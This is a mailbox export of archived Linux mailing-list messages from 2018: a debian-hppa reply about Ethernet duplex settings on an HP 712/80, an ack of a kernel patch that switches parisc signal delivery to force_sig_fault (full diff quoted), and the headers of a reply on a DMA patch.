User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
 linux-parisc <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Jeroen Roovers <jer@gentoo.org>, Frank Scheiner <frank.scheiner@web.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Apr 21 02:20:15 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1f9gGF-0006RR-L9
	for debian-hppa@m.gmane.org; Sat, 21 Apr 2018 02:20:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 51BED15E; Sat, 21 Apr 2018 00:22:26 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Apr 21 00:22:26 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 6D261120
	for <lists-debian-hppa@bendel.debian.org>; Sat, 21 Apr 2018 00:22:17 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id A9sy8EqzHUO7 for <lists-debian-hppa@bendel.debian.org>;
	Sat, 21 Apr 2018 00:22:12 +0000 (UTC)
Original-Received: from torfep01.bell.net (simcoe207srvr.owm.bell.net [184.150.200.207])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 440EECE
	for <debian-hppa@lists.debian.org>; Sat, 21 Apr 2018 00:22:11 +0000 (UTC)
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20180421002208.BZXT3030.torfep01.bell.net@torspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Fri, 20 Apr 2018 20:22:08 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by torspm01.bell.net
          with ESMTP
          id <20180421002208.XXP26298.torspm01.bell.net@[192.168.2.49]>;
          Fri, 20 Apr 2018 20:22:08 -0400
In-Reply-To: <20180420112426.3c8be653@wim.jer>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=JtkelIwC c=1 sm=0 tr=0 a=V8DPTAhloC/wURew+oITug==:17 a=IkcTkHD0fZMA:10 a=Kd1tUaAdevIA:10 a=FBHGMhGWAAAA:8 a=qmsasAHESQlT4h7Z1j4A:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <9ARbxOAHc6M.A.vOC.CRo2aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8709
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/5f57a530-c9e8-0fbd-4eba-ba6995320c10@bell.net
Resent-Date: Sat, 21 Apr 2018 00:22:26 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7725 gmane.linux.ports.parisc:28541
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7725>

On 2018-04-20 5:24 AM, Jeroen Roovers wrote:
>> But later this week I retried the 712/80 with the current Linux
>> kernel (4.15.x) and Debian userland and the issue hit me again,
>> although much later and despite the 100 Mbit network switch in
>> between. Looking at it I could see that the collision indicator was
>> active on the switch for the port used by the 712/80. I then
>> configured a singular port of the 1000 Mbit network switch to 10 Mbit
>> full duplex and attached the 712/80 to it. And then the issue again
>> seemed to be gone. But trying to install a package or updating the
>> package cache again quickly triggered it.
> You could try setting the internal NIC to half-duplex, or perhaps use a
> (passive) 10BASE-T hub instead of a switch if you cannot configure that
> internally, on the kernel command line, or doing it in userland is too
> late.
 From the manual, it seems the 10BASE-T port is half duplex (CSMA/CD).  
The MAU
interface is definitely half duplex and the word duplex is not mentioned 
in the manual.

The 10BASE-T port probably doesn't support auto negotiation, so you will 
need to manually
set the switch port to 10BASE-T half duplex if it doesn't automatically 
configure to this mode
when auto negotiation fails.

Some switches support a half-duplex back pressure form of flow control.

Setting the switch port is probably easier than finding a passive 10BASE 
hub.

Dave


From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [REVIEW][PATCH 13/22] signal/parisc: Use force_sig_fault where
 appropriate
Date: Sat, 21 Apr 2018 19:24:06 +0200
Lines: 349
Approved: news@gmane.org
Message-ID: <0c19d397-57d2-9b39-19f3-f989b34e1580@gmx.de>
References: <87604mhrnb.fsf@xmission.com>
 <20180420143811.9994-13-ebiederm@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524331353 5229 195.159.176.226 (21 Apr 2018 17:22:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 17:22:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-kernel@vger.kernel.org,
        James Bottomley <jejb@parisc-linux.org>,
        linux-parisc@vger.kernel.org
To: "Eric W. Biederman" <ebiederm@xmission.com>,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 21 19:22:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9wDT-0001FT-2w
	for glk-linux-kernel-4@m.gmane.org; Sat, 21 Apr 2018 19:22:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753249AbeDURYe (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 21 Apr 2018 13:24:34 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:48391 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753077AbeDURYc (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 21 Apr 2018 13:24:32 -0400
Original-Received: from [192.168.20.60] ([46.142.76.178]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LbR3e-1egtoL3OtG-00kuTK; Sat, 21
 Apr 2018 19:24:07 +0200
In-Reply-To: <20180420143811.9994-13-ebiederm@xmission.com>
Content-Language: en-US
X-Provags-ID: V03:K1:GEpNsfYKqzJVb5/fpVWmJoPdKKlc8L4z/KNDv+owY7w8VoNdiL0
 bykMpIzeGfxY2tO68apHw3QazBQG1SPS6AzCmTSPAfAq17Ek4UCL8Rm/YxuvUcJM0YNSlBA
 dka7olN8P+Ko2G3wxoaSvasLX7M/Of9A156NOLElNMoshra+dqs7UWMJdCdtli6InN/DPRA
 B8k3DC664vopZpTKfNHrA==
X-UI-Out-Filterresults: notjunk:1;V01:K0://QKuX/HVSM=:E4icsDoOjXZn3EHb+bkNv4
 +4DX5Ip4lOwu1curLOIZZa/Ivx83qivGwsH8GDZTtKFlkVoJxiQyWIUaGwc6eO9Ytzm/6WAC5
 +d3a7DzBZnRoX4Yi2TNs7ZA1CBDklm1uNlc48pv8IbHuDATwcp++Finkm9Jyk8uR4fO5i7iDn
 iYVcxmZ5yiUHZiQCxrCww3MDTWdV8ixbl0AXjj7GgcCe8CWqqzyoJvXIdi9vhzTcRGDeIrv3R
 hll2w1MD+DsRZ6dGwK7Pbyss9fyjsQ0pPAklCpwvkttaQCvsKbpwGynD3crpLp/V3+lMLzKO5
 ctLiVQt6Grgbd83fvqq8kundzW8Gg0SiJhNe28qV1T7uYapp9sj40WjDNpEkAbC2DmAVuMLYa
 sMRf+Llu2920i26RpAp5Iz0vyyv1Nk9YdN2/LIe55dNNTpYHwQWCvkDFHh+RMJJOx2MpJI5Yw
 /5xcNe5sSmNbag4Cm8YyC4MVwT7TThqzEQuTILqf5Ksd3Px6SWivmTyE2gdYyl0cDIiQ/jzOf
 NRogUB4h/cv4iYUcQSo3kMTuS2DxBP2xIB1rqstaPlzvbo7kh2PEghUERkzlDxhAdUocOo7nV
 1z3hghUBFoWl5EiFHREpdZLVWFDdVZLbT7HBaYm39PqShUtrbxlN5AI2J/aGAVHlh+J2jfR0a
 F/r/RV0Ak6Cb4ZV5DunyNaxY3NO4qMM2LMDc3JOSItXYUuYCTgE2k1eeXnTmpA6DcAOdMJ+j2
 Fh+TScXrA4en/T6xGYvvkTZd/i5tWLsPFQgOid15MaV+aH7h96R/3lgv1yfGKBXWOQFomfyO 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2747067 gmane.linux.kernel.cross-arch:43634 gmane.linux.ports.parisc:28542
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2747067>

On 20.04.2018 16:38, Eric W. Biederman wrote:
> Filling in struct siginfo before calling force_sig_info a tedious and
> error prone process, where once in a great while the wrong fields
> are filled out, and siginfo has been inconsistently cleared.
> 
> Simplify this process by using the helper force_sig_fault.  Which
> takes as a parameters all of the information it needs, ensures
> all of the fiddly bits of filling in struct siginfo are done properly
> and then calls force_sig_info.
> 
> In short about a 5 line reduction in code for every time force_sig_info
> is called, which makes the calling function clearer.
> 
> Cc: James Bottomley <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>

I pulled this whole patch series from your git tree and 
booted it on 32- and 64-bit parisc kernels.
 
Acked-by: Helge Deller <deller@gmx.de>   # parisc

Thanks!
Helge

> ---
>  arch/parisc/kernel/ptrace.c    | 11 ++------
>  arch/parisc/kernel/traps.c     | 63 ++++++++++++++----------------------------
>  arch/parisc/kernel/unaligned.c | 16 +++--------
>  arch/parisc/math-emu/driver.c  |  9 ++----
>  arch/parisc/mm/fault.c         | 25 +++++++----------
>  5 files changed, 39 insertions(+), 85 deletions(-)
> 
> diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
> index b1c12ceb1c88..7aa1d4d0d444 100644
> --- a/arch/parisc/kernel/ptrace.c
> +++ b/arch/parisc/kernel/ptrace.c
> @@ -76,8 +76,6 @@ void user_enable_single_step(struct task_struct *task)
>  	set_tsk_thread_flag(task, TIF_SINGLESTEP);
>  
>  	if (pa_psw(task)->n) {
> -		struct siginfo si;
> -
>  		/* Nullified, just crank over the queue. */
>  		task_regs(task)->iaoq[0] = task_regs(task)->iaoq[1];
>  		task_regs(task)->iasq[0] = task_regs(task)->iasq[1];
> @@ -90,12 +88,9 @@ void user_enable_single_step(struct task_struct *task)
>  		ptrace_disable(task);
>  		/* Don't wake up the task, but let the
>  		   parent know something happened. */
> -		clear_siginfo(&si);
> -		si.si_code = TRAP_TRACE;
> -		si.si_addr = (void __user *) (task_regs(task)->iaoq[0] & ~3);
> -		si.si_signo = SIGTRAP;
> -		si.si_errno = 0;
> -		force_sig_info(SIGTRAP, &si, task);
> +		force_sig_fault(SIGTRAP, TRAP_TRACE,
> +				(void __user *) (task_regs(task)->iaoq[0] & ~3),
> +				task);
>  		/* notify_parent(task, SIGCHLD); */
>  		return;
>  	}
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 98f9f2f85940..132b09c657ff 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -297,14 +297,8 @@ void die_if_kernel(char *str, struct pt_regs *regs, long err)
>  #define GDB_BREAK_INSN 0x10004
>  static void handle_gdb_break(struct pt_regs *regs, int wot)
>  {
> -	struct siginfo si;
> -
> -	clear_siginfo(&si);
> -	si.si_signo = SIGTRAP;
> -	si.si_errno = 0;
> -	si.si_code = wot;
> -	si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
> -	force_sig_info(SIGTRAP, &si, current);
> +	force_sig_fault(SIGTRAP, wot,
> +			(void __user *) (regs->iaoq[0] & ~3), current);
>  }
>  
>  static void handle_break(struct pt_regs *regs)
> @@ -488,9 +482,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  {
>  	unsigned long fault_address = 0;
>  	unsigned long fault_space = 0;
> -	struct siginfo si;
> +	int si_code;
>  
> -	clear_siginfo(&si);
>  	if (code == 1)
>  	    pdc_console_restart();  /* switch back to pdc if HPMC */
>  	else
> @@ -573,7 +566,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  	case  8:
>  		/* Illegal instruction trap */
>  		die_if_kernel("Illegal instruction", regs, code);
> -		si.si_code = ILL_ILLOPC;
> +		si_code = ILL_ILLOPC;
>  		goto give_sigill;
>  
>  	case  9:
> @@ -584,7 +577,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  	case 10:
>  		/* Privileged operation trap */
>  		die_if_kernel("Privileged operation", regs, code);
> -		si.si_code = ILL_PRVOPC;
> +		si_code = ILL_PRVOPC;
>  		goto give_sigill;
>  
>  	case 11:
> @@ -607,20 +600,16 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  		}
>  
>  		die_if_kernel("Privileged register usage", regs, code);
> -		si.si_code = ILL_PRVREG;
> +		si_code = ILL_PRVREG;
>  	give_sigill:
> -		si.si_signo = SIGILL;
> -		si.si_errno = 0;
> -		si.si_addr = (void __user *) regs->iaoq[0];
> -		force_sig_info(SIGILL, &si, current);
> +		force_sig_fault(SIGILL, si_code,
> +				(void __user *) regs->iaoq[0], current);
>  		return;
>  
>  	case 12:
>  		/* Overflow Trap, let the userland signal handler do the cleanup */
> -		si.si_signo = SIGFPE;
> -		si.si_code = FPE_INTOVF;
> -		si.si_addr = (void __user *) regs->iaoq[0];
> -		force_sig_info(SIGFPE, &si, current);
> +		force_sig_fault(SIGFPE, FPE_INTOVF,
> +				(void __user *) regs->iaoq[0], current);
>  		return;
>  		
>  	case 13:
> @@ -628,13 +617,11 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  		   The condition succeeds in an instruction which traps
>  		   on condition  */
>  		if(user_mode(regs)){
> -			si.si_signo = SIGFPE;
>  			/* Let userspace app figure it out from the insn pointed
>  			 * to by si_addr.
>  			 */
> -			si.si_code = FPE_CONDTRAP;
> -			si.si_addr = (void __user *) regs->iaoq[0];
> -			force_sig_info(SIGFPE, &si, current);
> +			force_sig_fault(SIGFPE, FPE_CONDTRAP,
> +					(void __user *) regs->iaoq[0], current);
>  			return;
>  		} 
>  		/* The kernel doesn't want to handle condition codes */
> @@ -743,14 +730,10 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  			return;
>  
>  		die_if_kernel("Protection id trap", regs, code);
> -		si.si_code = SEGV_MAPERR;
> -		si.si_signo = SIGSEGV;
> -		si.si_errno = 0;
> -		if (code == 7)
> -		    si.si_addr = (void __user *) regs->iaoq[0];
> -		else
> -		    si.si_addr = (void __user *) regs->ior;
> -		force_sig_info(SIGSEGV, &si, current);
> +		force_sig_fault(SIGSEGV, SEGV_MAPERR,
> +				(code == 7)?
> +				((void __user *) regs->iaoq[0]) :
> +				((void __user *) regs->ior), current);
>  		return;
>  
>  	case 28: 
> @@ -764,11 +747,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  				"handle_interruption() pid=%d command='%s'\n",
>  				task_pid_nr(current), current->comm);
>  			/* SIGBUS, for lack of a better one. */
> -			si.si_signo = SIGBUS;
> -			si.si_code = BUS_OBJERR;
> -			si.si_errno = 0;
> -			si.si_addr = (void __user *) regs->ior;
> -			force_sig_info(SIGBUS, &si, current);
> +			force_sig_fault(SIGBUS, BUS_OBJERR,
> +					(void __user *)regs->ior, current);
>  			return;
>  		}
>  		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
> @@ -783,11 +763,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  				"User fault %d on space 0x%08lx, pid=%d command='%s'\n",
>  				code, fault_space,
>  				task_pid_nr(current), current->comm);
> -		si.si_signo = SIGSEGV;
> -		si.si_errno = 0;
> -		si.si_code = SEGV_MAPERR;
> -		si.si_addr = (void __user *) regs->ior;
> -		force_sig_info(SIGSEGV, &si, current);
> +		force_sig_fault(SIGSEGV, SEGV_MAPERR,
> +				(void __user *)regs->ior, current);
>  		return;
>  	    }
>  	}
> diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
> index 30b7c7f6c471..932bfc0b7cd8 100644
> --- a/arch/parisc/kernel/unaligned.c
> +++ b/arch/parisc/kernel/unaligned.c
> @@ -452,10 +452,8 @@ void handle_unaligned(struct pt_regs *regs)
>  	unsigned long newbase = R1(regs->iir)?regs->gr[R1(regs->iir)]:0;
>  	int modify = 0;
>  	int ret = ERR_NOTHANDLED;
> -	struct siginfo si;
>  	register int flop=0;	/* true if this is a flop */
>  
> -	clear_siginfo(&si);
>  	__inc_irq_stat(irq_unaligned_count);
>  
>  	/* log a message with pacing */
> @@ -691,21 +689,15 @@ void handle_unaligned(struct pt_regs *regs)
>  
>  		if (ret == ERR_PAGEFAULT)
>  		{
> -			si.si_signo = SIGSEGV;
> -			si.si_errno = 0;
> -			si.si_code = SEGV_MAPERR;
> -			si.si_addr = (void __user *)regs->ior;
> -			force_sig_info(SIGSEGV, &si, current);
> +			force_sig_fault(SIGSEGV, SEGV_MAPERR,
> +					(void __user *)regs->ior, current);
>  		}
>  		else
>  		{
>  force_sigbus:
>  			/* couldn't handle it ... */
> -			si.si_signo = SIGBUS;
> -			si.si_errno = 0;
> -			si.si_code = BUS_ADRALN;
> -			si.si_addr = (void __user *)regs->ior;
> -			force_sig_info(SIGBUS, &si, current);
> +			force_sig_fault(SIGBUS, BUS_ADRALN,
> +					(void __user *)regs->ior, current);
>  		}
>  		
>  		return;
> diff --git a/arch/parisc/math-emu/driver.c b/arch/parisc/math-emu/driver.c
> index 0d10efb53361..0590e05571d1 100644
> --- a/arch/parisc/math-emu/driver.c
> +++ b/arch/parisc/math-emu/driver.c
> @@ -81,7 +81,6 @@ int
>  handle_fpe(struct pt_regs *regs)
>  {
>  	extern void printbinary(unsigned long x, int nbits);
> -	struct siginfo si;
>  	unsigned int orig_sw, sw;
>  	int signalcode;
>  	/* need an intermediate copy of float regs because FPU emulation
> @@ -93,7 +92,6 @@ handle_fpe(struct pt_regs *regs)
>  	 */
>  	__u64 frcopy[36];
>  
> -	clear_siginfo(&si);
>  	memcpy(frcopy, regs->fr, sizeof regs->fr);
>  	frcopy[32] = 0;
>  
> @@ -118,11 +116,8 @@ handle_fpe(struct pt_regs *regs)
>  
>  	memcpy(regs->fr, frcopy, sizeof regs->fr);
>  	if (signalcode != 0) {
> -	    si.si_signo = signalcode >> 24;
> -	    si.si_errno = 0;
> -	    si.si_code = signalcode & 0xffffff;
> -	    si.si_addr = (void __user *) regs->iaoq[0];
> -	    force_sig_info(si.si_signo, &si, current);
> +	    force_sig_fault(signalcode >> 24, signalcode & 0xffffff,
> +			    (void __user *) regs->iaoq[0], current);
>  	    return -1;
>  	}
>  
> diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
> index 51215b0048ef..a80117980fc2 100644
> --- a/arch/parisc/mm/fault.c
> +++ b/arch/parisc/mm/fault.c
> @@ -353,23 +353,22 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
>  	up_read(&mm->mmap_sem);
>  
>  	if (user_mode(regs)) {
> -		struct siginfo si;
> +		int signo, si_code;
>  
> -		clear_siginfo(&si);
>  		switch (code) {
>  		case 15:	/* Data TLB miss fault/Data page fault */
>  			/* send SIGSEGV when outside of vma */
>  			if (!vma ||
>  			    address < vma->vm_start || address >= vma->vm_end) {
> -				si.si_signo = SIGSEGV;
> -				si.si_code = SEGV_MAPERR;
> +				signo = SIGSEGV;
> +				si_code = SEGV_MAPERR;
>  				break;
>  			}
>  
>  			/* send SIGSEGV for wrong permissions */
>  			if ((vma->vm_flags & acc_type) != acc_type) {
> -				si.si_signo = SIGSEGV;
> -				si.si_code = SEGV_ACCERR;
> +				signo = SIGSEGV;
> +				si_code = SEGV_ACCERR;
>  				break;
>  			}
>  
> @@ -377,17 +376,16 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
>  			/* fall through */
>  		case 17:	/* NA data TLB miss / page fault */
>  		case 18:	/* Unaligned access - PCXS only */
> -			si.si_signo = SIGBUS;
> -			si.si_code = (code == 18) ? BUS_ADRALN : BUS_ADRERR;
> +			signo = SIGBUS;
> +			si_code = (code == 18) ? BUS_ADRALN : BUS_ADRERR;
>  			break;
>  		case 16:	/* Non-access instruction TLB miss fault */
>  		case 26:	/* PCXL: Data memory access rights trap */
>  		default:
> -			si.si_signo = SIGSEGV;
> -			si.si_code = (code == 26) ? SEGV_ACCERR : SEGV_MAPERR;
> +			signo = SIGSEGV;
> +			si_code = (code == 26) ? SEGV_ACCERR : SEGV_MAPERR;
>  			break;
>  		}
> -
>  #ifdef CONFIG_MEMORY_FAILURE
>  		if (fault & (VM_FAULT_HWPOISON|VM_FAULT_HWPOISON_LARGE)) {
>  			unsigned int lsb = 0;
> @@ -409,12 +407,9 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
>  			return;
>  		}
>  #endif
> -
>  		show_signal_msg(regs, code, address, tsk, vma);
>  
> -		si.si_errno = 0;
> -		si.si_addr = (void __user *) address;
> -		force_sig_info(si.si_signo, &si, current);
> +		force_sig_fault(signo, si_code, (void __user *) address, current);
>  		return;
>  	}
>  
> 



From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 22/22] parisc: use generic dma_noncoherent_ops
Date: Sat, 21 Apr 2018 19:43:46 +0200
Lines: 345
Approved: news@gmane.org
Message-ID: <e0b4f3be-68b9-c3af-e432-fd20419e2d70@gmx.de>
References: <20180420080313.18796-1-hch@lst.de>
 <20180420080313.18796-23-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524332534 16034 195.159.176.226 (21 Apr 2018 17:42:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 17:42:14 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
 Vincent Chen <deanbo422@gmail.com>, linux-c6x-dev@linux-c6x.org,
 linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Greentime Hu <green.hu@gmail.com>, linux-alpha@vger.kernel.org,
 sparclinux@vger.kernel.org, nios2-dev@lists.rocketboards.org,
 linux-snps-arc@lists.infradead.org, linux-arm-kernel@lists.infradead.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Apr 21 19:42:08 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f9wWR-0003x4-1c
	for gla-linux-snps-arc@m.gmane.org; Sat, 21 Apr 2018 19:42:03 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=V+tirLnEzQr6pMeAUlMO1qgV9kYSVu+pjufhq4rDowo=; b=UllnkBKaJdAdXE
	X7hr3FzraHO09bw28Qe7ED39aupB7rw6gDl9ogCN6BoF75Frhlgk8godd1p6DatYj2CaBF6H9VlDq
	2sU+rubBhg8D8UF+x4TWUcPb3QUfiiItXYfZlsdUBCRKZlUvXR/RUDFtvq9GDzA4eythkM8iYYJOs
	TWBUiBLRxtAzFAUXZa4CiVQ/vCFreDj1F+INPCIn8T5l2UvkqmURX137FADtr7b1tU8T8msqxC5pS
	uO2KvXwy/oyeX6qjJ21ERbUtUoqdahaxQnsHMRUImynpdCbhzrVBjxOb/2DLDbUWGGtuqAZcOFKrf
	01brDCHj4XV8SmRFu2Jg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f9wYW-00012R-Sh; Sat, 21 Apr 2018 17:44:12 +0000
Original-Received: from mout.gmx.net ([212.227.17.21])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f9wYS-00010j-FI; Sat, 21 Apr 2018 17:44:10 +0000
Original-Received: from [192.168.20.60] ([46.142.76.178]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MhNk6-1enJK81rAQ-00Mc8A; Sat, 21
 Apr 2018 19:43:50 +0200
In-Reply-To: <20180420080313.18796-23-hch@lst.de>
Content-Language: en-US
X-Provags-ID: V03:K1:ru/tGzmF2CfbTAiAG4zvEGzI7ebdGuQP/m/ZEQ9asHx+hC/VmSx
 jdDChQB+7NoeSyYmYdccvLcyNEtVKZ7mDFvwW/tk34KlN5SDnUde1K5eSWaTrafW7WYz6Uk
 VT6vFieNoYRMFdJtejkI5Z2Ukij8QdhtZHSpxMPlHhpTDnwoGi1E17pct317Rc7hsqGvjAA
 aGiF4eVQowPugMPW8+w7w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:aom1hrK4FWQ=:DM9tLV23QMjAGWncynBhqF
 oMRYxEwQA4ZlE7fzqtyWgw9W9s2ywcR7X7E4FCHNVXJGA8AFQjbZDZB7DHN2x1KZid5QNOxKV
 1yvjsXIVapigYTle/YAwfetLnZrnGXIlr8k8HtgwAZfkV2zc8Z7bZwFbTUwKAv3G4oFmX82DQ
 3onz+H2/Y6H0tSDf5ptbTUxxdnwbgPBveKwj0O+ovqgfnhkmzSu5dEBdeK3ZaiA6HLktJgg1U
 ++gjkktmrTIdr27YcdxjVPv1rtusCPwnwL6L5o+C84EfiGk+61mt0pkImeiDOjTzppeIB8wym
 PF/AAmBiYAZAMNdaKk7v58M5iR4TecCtWkUZaGVv6J1azxv58/iVCllGuxm4AEKp5JSo8pat+
 PdixteQFXFJIuaUKLYG89e5QQTfd4YyseXlLrDVUxkY8lIJwlebj0Vy7jIN+6Xq8+DxFG5jqK
 YYiTN1TNSb9OquLljaTz9GdHf3oepMUYt5yULtwNbioxGIkdwMVm5dRzcrFw762TNdtbzisCV
 PPxpWdB3YR2oe6HVARbzZ535W+tQ/AV4WtIlR+gsBXeRKBjuXdJdeH7uO1OY8cgc/z+mBbQ4V
